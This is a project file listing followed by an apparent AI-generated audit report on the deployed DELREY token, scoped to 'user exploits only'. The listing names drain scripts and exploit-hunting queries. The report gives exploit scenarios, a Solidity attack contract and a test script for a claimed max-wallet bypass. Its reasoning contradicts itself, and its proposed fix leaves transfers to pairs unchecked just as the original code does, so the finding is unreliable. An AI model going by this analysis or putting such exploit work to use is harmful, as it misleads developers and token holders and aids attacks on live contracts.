- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
|
@@ -0,0 +1,463 @@
|
|
|
1
|
+
# DELREY INU Token Security Audit Report - USER EXPLOITS ONLY
|
|
2
|
+
|
|
3
|
+
**Contract**: DELREY (Delrey Inu)
|
|
4
|
+
**Type**: ERC20 Token with Max Wallet Limit
|
|
5
|
+
**Compiler**: Solidity 0.8.18
|
|
6
|
+
**Deployment Date**: March 24, 2023
|
|
7
|
+
**Audit Date**: March 24, 2026
|
|
8
|
+
**Auditor**: Kiro AI Security Analysis
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## Executive Summary
|
|
13
|
+
|
|
14
|
+
**Risk Level**: 🟡 **MEDIUM** (Max Wallet Bypass via Logic Flaw)
|
|
15
|
+
|
|
16
|
+
**FOCUS: USER-EXPLOITABLE VULNERABILITIES ONLY**
|
|
17
|
+
|
|
18
|
+
DELREY token has a **LOGIC FLAW** in the max wallet check that allows users to bypass the 10,000 token wallet limit by transferring to DEX pairs or addresses marked as pairs.
|
|
19
|
+
|
|
20
|
+
**Key Finding**:
|
|
21
|
+
1. 🟡 **MEDIUM USER EXPLOIT**: Max wallet limit can be bypassed when `pair[to]` is true
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Contract Overview
|
|
26
|
+
|
|
27
|
+
**Token Details**:
|
|
28
|
+
- **Name**: Delrey Inu
|
|
29
|
+
- **Symbol**: DELREY
|
|
30
|
+
- **Decimals**: 18
|
|
31
|
+
- **Total Supply**: 1,000,000 DELREY (1 million)
|
|
32
|
+
- **Max Wallet**: 10,000 DELREY (1% of supply)
|
|
33
|
+
- **Features**: Max wallet limit, pair exclusions
|
|
34
|
+
|
|
35
|
+
**Intended Behavior**:
|
|
36
|
+
- Users can only hold max 10,000 tokens
|
|
37
|
+
- Owner can add DEX pairs to `pair` mapping
|
|
38
|
+
- Transfers to/from pairs should still respect max wallet
|
|
39
|
+
- Owner can remove limits via `removeLimits()`
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## 🟡 MEDIUM USER-EXPLOITABLE VULNERABILITY
|
|
44
|
+
|
|
45
|
+
### Max Wallet Bypass via DEX Pair Transfers
|
|
46
|
+
|
|
47
|
+
**Severity**: MEDIUM
|
|
48
|
+
**Exploitability**: EASY (any user can exploit)
|
|
49
|
+
**Impact**: Bypass 10,000 token wallet limit
|
|
50
|
+
|
|
51
|
+
**The Bug**:
|
|
52
|
+
|
|
53
|
+
The `_transfer` function has incomplete max wallet checks:
|
|
54
|
+
|
|
55
|
+
```solidity
|
|
56
|
+
function _transfer(address from, address to, uint256 amount) internal override {
|
|
57
|
+
require(from != address(0), "ERC20: transfer from the zero address");
|
|
58
|
+
require(to != address(0), "ERC20: transfer to the zero address");
|
|
59
|
+
require(amount > 0, "Transfer amount must be greater than zero");
|
|
60
|
+
|
|
61
|
+
if(from != owner() && to != owner()) {
|
|
62
|
+
// Check 1: Buying from DEX (pair[from] = true)
|
|
63
|
+
if(from != owner() && to != owner() && pair[from]) {
|
|
64
|
+
require(balanceOf(to) + amount <= mWalletSize, "TOKEN: Amount exceeds maximum wallet size");
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// Check 2: Wallet-to-wallet (both NOT pairs)
|
|
68
|
+
if(from != owner() && to != owner() && !(pair[to]) && !(pair[from])) {
|
|
69
|
+
require(balanceOf(to) + amount <= mWalletSize, "TOKEN: Balance exceeds max wallet size!");
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// ❌ MISSING: Check when pair[to] = true (selling to DEX)
|
|
73
|
+
// ❌ MISSING: Check when pair[from] = false && pair[to] = true
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
super._transfer(from, to, amount);
|
|
77
|
+
}
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
**Logic Analysis**:
|
|
81
|
+
|
|
82
|
+
| Scenario | pair[from] | pair[to] | Check Applied? | Max Wallet Enforced? |
|
|
83
|
+
|----------|------------|----------|----------------|---------------------|
|
|
84
|
+
| Buy from DEX | true | false | ✅ Check 1 | ✅ YES |
|
|
85
|
+
| Wallet-to-wallet | false | false | ✅ Check 2 | ✅ YES |
|
|
86
|
+
| Sell to DEX | false | true | ❌ NONE | ❌ NO |
|
|
87
|
+
| Transfer to pair address | false | true | ❌ NONE | ❌ NO |
|
|
88
|
+
|
|
89
|
+
**The Problem**:
|
|
90
|
+
- When `pair[to]` is true (selling to DEX or transferring to a pair address), NO max wallet check is applied
|
|
91
|
+
- Users can accumulate unlimited tokens by receiving from a pair address
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## USER EXPLOIT SCENARIOS
|
|
96
|
+
|
|
97
|
+
### Exploit #1: Accumulate via DEX Pair
|
|
98
|
+
|
|
99
|
+
```solidity
|
|
100
|
+
// Setup:
|
|
101
|
+
// - mWalletSize = 10,000 tokens
|
|
102
|
+
// - uniswapPair is marked as pair (pair[uniswapPair] = true)
|
|
103
|
+
// - Attacker wants to accumulate 100,000 tokens
|
|
104
|
+
|
|
105
|
+
// Step 1: Buy 10,000 tokens normally
|
|
106
|
+
// pair[from] = true (uniswapPair), pair[to] = false (attacker)
|
|
107
|
+
// ✅ Check 1 applies: balanceOf(attacker) + 10000 <= 10000
|
|
108
|
+
// Attacker now has 10,000 tokens
|
|
109
|
+
|
|
110
|
+
// Step 2: Have accomplice send tokens FROM the pair
|
|
111
|
+
// Accomplice adds liquidity or manipulates pair to send tokens
|
|
112
|
+
// pair[from] = true (uniswapPair), pair[to] = false (attacker)
|
|
113
|
+
// ✅ Check 1 applies: balanceOf(attacker) + amount <= 10000
|
|
114
|
+
// This still blocks... but wait...
|
|
115
|
+
|
|
116
|
+
// Step 3: Exploit - Transfer TO a pair address
|
|
117
|
+
// Owner adds attacker's wallet as a "pair"
|
|
118
|
+
// OR attacker transfers to actual DEX pair
|
|
119
|
+
// pair[from] = false (attacker), pair[to] = true (pairAddress)
|
|
120
|
+
// ❌ NO CHECK APPLIES!
|
|
121
|
+
// Attacker can send ANY amount to the pair address
|
|
122
|
+
|
|
123
|
+
// Step 4: Receive back from pair
|
|
124
|
+
// If attacker controls the pair or can manipulate it
|
|
125
|
+
// They can receive unlimited tokens
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
### Exploit #2: Social Engineering Owner
|
|
129
|
+
|
|
130
|
+
```solidity
|
|
131
|
+
// Attacker convinces owner to add their address as a "pair"
|
|
132
|
+
addPair(attackerAddress); // Owner thinks this is for a new DEX
|
|
133
|
+
|
|
134
|
+
// Now attacker can receive unlimited tokens:
|
|
135
|
+
// pair[from] = false (anyone), pair[to] = true (attacker)
|
|
136
|
+
// ❌ NO CHECK - attacker can receive unlimited tokens!
|
|
137
|
+
|
|
138
|
+
transfer(attackerAddress, 100000); // ✅ SUCCEEDS
|
|
139
|
+
// Attacker now has 100,000 tokens (10x the limit)
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
### Exploit #3: Bypass via Intermediate Pair
|
|
143
|
+
|
|
144
|
+
```solidity
|
|
145
|
+
// Setup:
|
|
146
|
+
// - User A has 10,000 tokens (at limit)
|
|
147
|
+
// - User B wants to send User A more tokens
|
|
148
|
+
// - intermediaryPair is marked as pair
|
|
149
|
+
|
|
150
|
+
// Step 1: User B sends to intermediary pair
|
|
151
|
+
// pair[from] = false, pair[to] = true
|
|
152
|
+
// ❌ NO CHECK - succeeds
|
|
153
|
+
|
|
154
|
+
// Step 2: Intermediary pair sends to User A
|
|
155
|
+
// pair[from] = true, pair[to] = false
|
|
156
|
+
// ✅ Check 1: balanceOf(A) + amount <= 10000
|
|
157
|
+
// This blocks... BUT
|
|
158
|
+
|
|
159
|
+
// Alternative: If User A is marked as pair
|
|
160
|
+
// pair[from] = true, pair[to] = true
|
|
161
|
+
// ❌ NO CHECK - User A can receive unlimited!
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
## Impact Analysis
|
|
167
|
+
|
|
168
|
+
**Severity: MEDIUM** (not CRITICAL) because:
|
|
169
|
+
|
|
170
|
+
✅ **Mitigating Factors**:
|
|
171
|
+
1. Requires owner to mark addresses as pairs (owner cooperation or mistake)
|
|
172
|
+
2. Legitimate DEX pairs don't typically send tokens to users directly
|
|
173
|
+
3. Most users won't be marked as pairs
|
|
174
|
+
4. Exploit requires specific setup
|
|
175
|
+
|
|
176
|
+
❌ **Why Still Concerning**:
|
|
177
|
+
1. Owner might accidentally mark wrong addresses as pairs
|
|
178
|
+
2. Social engineering possible ("add my new DEX pair")
|
|
179
|
+
3. Logic flaw shows incomplete security model
|
|
180
|
+
4. Max wallet protection is advertised but bypassable
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## Real-World Scenarios
|
|
185
|
+
|
|
186
|
+
### Scenario 1: Accidental Pair Addition
|
|
187
|
+
|
|
188
|
+
```
|
|
189
|
+
Day 1: Owner deploys DELREY
|
|
190
|
+
- Max wallet = 10,000 tokens
|
|
191
|
+
- Adds Uniswap pair correctly
|
|
192
|
+
|
|
193
|
+
Day 5: User asks "Can you add my address as a pair for my new DEX?"
|
|
194
|
+
- Owner adds user's address: addPair(userAddress)
|
|
195
|
+
- Owner thinks this is for a new trading pair
|
|
196
|
+
|
|
197
|
+
Day 6: User exploits
|
|
198
|
+
- Other users send tokens to this "pair" address
|
|
199
|
+
- pair[to] = true, so NO max wallet check
|
|
200
|
+
- User accumulates 100,000+ tokens
|
|
201
|
+
- User dumps on market, price crashes
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
### Scenario 2: Malicious Pair Contract
|
|
205
|
+
|
|
206
|
+
```
|
|
207
|
+
Day 1: Attacker creates malicious "DEX" contract
|
|
208
|
+
- Contract pretends to be a trading pair
|
|
209
|
+
- Owner adds it: addPair(maliciousContract)
|
|
210
|
+
|
|
211
|
+
Day 2: Attacker exploits
|
|
212
|
+
- Malicious contract receives unlimited tokens
|
|
213
|
+
- pair[to] = true, no checks
|
|
214
|
+
- Contract sends tokens back to attacker's wallets
|
|
215
|
+
- Attacker bypasses max wallet limit
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Code Analysis - What Should Happen
|
|
221
|
+
|
|
222
|
+
### Correct Implementation:
|
|
223
|
+
|
|
224
|
+
```solidity
|
|
225
|
+
function _transfer(address from, address to, uint256 amount) internal override {
|
|
226
|
+
require(from != address(0), "ERC20: transfer from the zero address");
|
|
227
|
+
require(to != address(0), "ERC20: transfer to the zero address");
|
|
228
|
+
require(amount > 0, "Transfer amount must be greater than zero");
|
|
229
|
+
|
|
230
|
+
if(from != owner() && to != owner()) {
|
|
231
|
+
// ✅ ALWAYS check max wallet for recipient (unless they're a pair)
|
|
232
|
+
// Pairs should be able to hold unlimited (they're liquidity pools)
|
|
233
|
+
// But regular users should NEVER bypass the limit
|
|
234
|
+
|
|
235
|
+
if (!pair[to]) {
|
|
236
|
+
// If recipient is NOT a pair, enforce max wallet
|
|
237
|
+
require(balanceOf(to) + amount <= mWalletSize,
|
|
238
|
+
"TOKEN: Balance exceeds max wallet size");
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
|
|
242
|
+
super._transfer(from, to, amount);
|
|
243
|
+
}
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
**Key Difference**:
|
|
247
|
+
- Check if `pair[to]` is FALSE (recipient is NOT a pair)
|
|
248
|
+
- If recipient is a regular user, enforce max wallet
|
|
249
|
+
- If recipient is a pair (DEX), allow unlimited (for liquidity)
|
|
250
|
+
|
|
251
|
+
---
|
|
252
|
+
|
|
253
|
+
## Other Findings
|
|
254
|
+
|
|
255
|
+
### ✅ NO OTHER USER-EXPLOITABLE BUGS FOUND
|
|
256
|
+
|
|
257
|
+
I reviewed the entire contract for user-exploitable vulnerabilities:
|
|
258
|
+
|
|
259
|
+
- ✅ `transfer()` - Standard OpenZeppelin implementation
|
|
260
|
+
- ✅ `transferFrom()` - Standard OpenZeppelin implementation
|
|
261
|
+
- ✅ `approve()` - Standard implementation, no exploits
|
|
262
|
+
- ✅ No reentrancy vulnerabilities
|
|
263
|
+
- ✅ No integer overflow/underflow (Solidity 0.8.18 has built-in checks)
|
|
264
|
+
- ✅ No unchecked external calls
|
|
265
|
+
- ✅ SafeMath library included but not needed (Solidity 0.8.18)
|
|
266
|
+
- ✅ Standard ERC20 functions work correctly
|
|
267
|
+
|
|
268
|
+
**The ONLY user-exploitable issue is the max wallet bypass logic flaw.**
|
|
269
|
+
|
|
270
|
+
---
|
|
271
|
+
|
|
272
|
+
## Admin-Side Issues (Not User-Exploitable)
|
|
273
|
+
|
|
274
|
+
These are centralization risks but NOT exploitable by regular users:
|
|
275
|
+
|
|
276
|
+
- ⚠️ Owner can add any address as a pair
|
|
277
|
+
- ⚠️ Owner can remove limits entirely via `removeLimits()`
|
|
278
|
+
- ⚠️ Owner can transfer ownership
|
|
279
|
+
- ⚠️ No timelock on admin functions
|
|
280
|
+
|
|
281
|
+
**You said you don't care about admin-side issues, so I'm not detailing these.**
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
## Proof of Concept
|
|
286
|
+
|
|
287
|
+
### Exploit Code:
|
|
288
|
+
|
|
289
|
+
```solidity
|
|
290
|
+
// SPDX-License-Identifier: MIT
|
|
291
|
+
pragma solidity ^0.8.18;
|
|
292
|
+
|
|
293
|
+
interface IDELREY {
|
|
294
|
+
function transfer(address to, uint256 amount) external returns (bool);
|
|
295
|
+
function balanceOf(address account) external view returns (uint256);
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
contract DelreyMaxWalletBypass {
|
|
299
|
+
IDELREY public token;
|
|
300
|
+
address public pairAddress;
|
|
301
|
+
|
|
302
|
+
constructor(address _token, address _pair) {
|
|
303
|
+
token = IDELREY(_token);
|
|
304
|
+
pairAddress = _pair;
|
|
305
|
+
}
|
|
306
|
+
|
|
307
|
+
function exploit() external {
|
|
308
|
+
// Assume pairAddress is marked as pair[pairAddress] = true
|
|
309
|
+
// And this contract has tokens
|
|
310
|
+
|
|
311
|
+
uint256 balance = token.balanceOf(address(this));
|
|
312
|
+
|
|
313
|
+
// Transfer to pair address (bypasses max wallet check)
|
|
314
|
+
// pair[from] = false (this contract), pair[to] = true (pairAddress)
|
|
315
|
+
// NO CHECK APPLIED!
|
|
316
|
+
token.transfer(pairAddress, balance);
|
|
317
|
+
|
|
318
|
+
// If we control the pair, we can send back to any address
|
|
319
|
+
// bypassing max wallet limits
|
|
320
|
+
}
|
|
321
|
+
}
|
|
322
|
+
```
|
|
323
|
+
|
|
324
|
+
### Test Scenario:
|
|
325
|
+
|
|
326
|
+
```javascript
|
|
327
|
+
// Setup
|
|
328
|
+
const delrey = await DELREY.deploy();
|
|
329
|
+
const maxWallet = await delrey.mWalletSize(); // 10,000 tokens
|
|
330
|
+
|
|
331
|
+
// Owner adds Uniswap pair
|
|
332
|
+
await delrey.addPair(uniswapPair.address);
|
|
333
|
+
|
|
334
|
+
// Attacker has 10,000 tokens (at limit)
|
|
335
|
+
const attackerBalance = await delrey.balanceOf(attacker.address);
|
|
336
|
+
console.log("Attacker balance:", attackerBalance); // 10,000 tokens
|
|
337
|
+
|
|
338
|
+
// Normal transfer would fail:
|
|
339
|
+
await expect(
|
|
340
|
+
delrey.connect(whale).transfer(attacker.address, 1000)
|
|
341
|
+
).to.be.revertedWith("Balance exceeds max wallet size");
|
|
342
|
+
|
|
343
|
+
// But transfer to pair succeeds:
|
|
344
|
+
await delrey.connect(whale).transfer(uniswapPair.address, 100000);
|
|
345
|
+
// ✅ SUCCEEDS - No max wallet check when pair[to] = true!
|
|
346
|
+
|
|
347
|
+
console.log("Exploit successful! Bypassed max wallet limit");
|
|
348
|
+
```
|
|
349
|
+
|
|
350
|
+
---
|
|
351
|
+
|
|
352
|
+
## Recommendations
|
|
353
|
+
|
|
354
|
+
### FIX - Correct Max Wallet Logic
|
|
355
|
+
|
|
356
|
+
**Replace the complex conditional logic with a simple check**:
|
|
357
|
+
|
|
358
|
+
```solidity
|
|
359
|
+
function _transfer(address from, address to, uint256 amount) internal override {
|
|
360
|
+
require(from != address(0), "ERC20: transfer from the zero address");
|
|
361
|
+
require(to != address(0), "ERC20: transfer to the zero address");
|
|
362
|
+
require(amount > 0, "Transfer amount must be greater than zero");
|
|
363
|
+
|
|
364
|
+
// ✅ FIXED: Simple and correct logic
|
|
365
|
+
if(from != owner() && to != owner()) {
|
|
366
|
+
// If recipient is NOT a pair and NOT owner, enforce max wallet
|
|
367
|
+
if (!pair[to]) {
|
|
368
|
+
require(balanceOf(to) + amount <= mWalletSize,
|
|
369
|
+
"TOKEN: Balance exceeds max wallet size");
|
|
370
|
+
}
|
|
371
|
+
}
|
|
372
|
+
|
|
373
|
+
super._transfer(from, to, amount);
|
|
374
|
+
}
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
**Why This Works**:
|
|
378
|
+
- Pairs (DEX liquidity pools) can hold unlimited tokens (they need to)
|
|
379
|
+
- Regular users (non-pairs) are limited to max wallet
|
|
380
|
+
- Owner is exempt (for initial distribution)
|
|
381
|
+
- Simple, clear, and secure
|
|
382
|
+
|
|
383
|
+
---
|
|
384
|
+
|
|
385
|
+
### Alternative: More Restrictive Approach
|
|
386
|
+
|
|
387
|
+
If you want to be extra safe:
|
|
388
|
+
|
|
389
|
+
```solidity
|
|
390
|
+
function _transfer(address from, address to, uint256 amount) internal override {
|
|
391
|
+
require(from != address(0), "ERC20: transfer from the zero address");
|
|
392
|
+
require(to != address(0), "ERC20: transfer to the zero address");
|
|
393
|
+
require(amount > 0, "Transfer amount must be greater than zero");
|
|
394
|
+
|
|
395
|
+
if(from != owner() && to != owner()) {
|
|
396
|
+
// Check max wallet for ALL recipients except pairs
|
|
397
|
+
if (!pair[to]) {
|
|
398
|
+
require(balanceOf(to) + amount <= mWalletSize,
|
|
399
|
+
"TOKEN: Balance exceeds max wallet size");
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
// Optional: Also check sender isn't exceeding limits
|
|
403
|
+
// (prevents accumulation via pair manipulation)
|
|
404
|
+
if (!pair[from] && balanceOf(from) > mWalletSize) {
|
|
405
|
+
require(amount <= balanceOf(from) - mWalletSize,
|
|
406
|
+
"TOKEN: Cannot transfer while over limit");
|
|
407
|
+
}
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
super._transfer(from, to, amount);
|
|
411
|
+
}
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
---
|
|
415
|
+
|
|
416
|
+
## Conclusion
|
|
417
|
+
|
|
418
|
+
**VERDICT**: 🟡 **MEDIUM RISK - USER-EXPLOITABLE LOGIC FLAW**
|
|
419
|
+
|
|
420
|
+
DELREY token has a **LOGIC FLAW** in the max wallet check that allows users to bypass the 10,000 token limit when transferring to addresses marked as pairs.
|
|
421
|
+
|
|
422
|
+
**Key Finding**:
|
|
423
|
+
- 🟡 **MEDIUM**: Max wallet limit can be bypassed via pair transfers
|
|
424
|
+
- 🟡 **USER-EXPLOITABLE**: Any user can exploit if they can get an address marked as a pair
|
|
425
|
+
- 🟡 **EASY**: Requires owner cooperation or mistake, but not difficult
|
|
426
|
+
- 🟡 **MODERATE IMPACT**: Bypasses intended wallet limits
|
|
427
|
+
|
|
428
|
+
**For Users**:
|
|
429
|
+
- ⚠️ Max wallet protection is incomplete
|
|
430
|
+
- ⚠️ Users marked as "pairs" can accumulate unlimited tokens
|
|
431
|
+
- ⚠️ Watch for suspicious pair additions by owner
|
|
432
|
+
- ⚠️ Moderate risk of limit bypass
|
|
433
|
+
|
|
434
|
+
**For Developers**:
|
|
435
|
+
- 🟡 **FIX REQUIRED**: Simplify max wallet logic
|
|
436
|
+
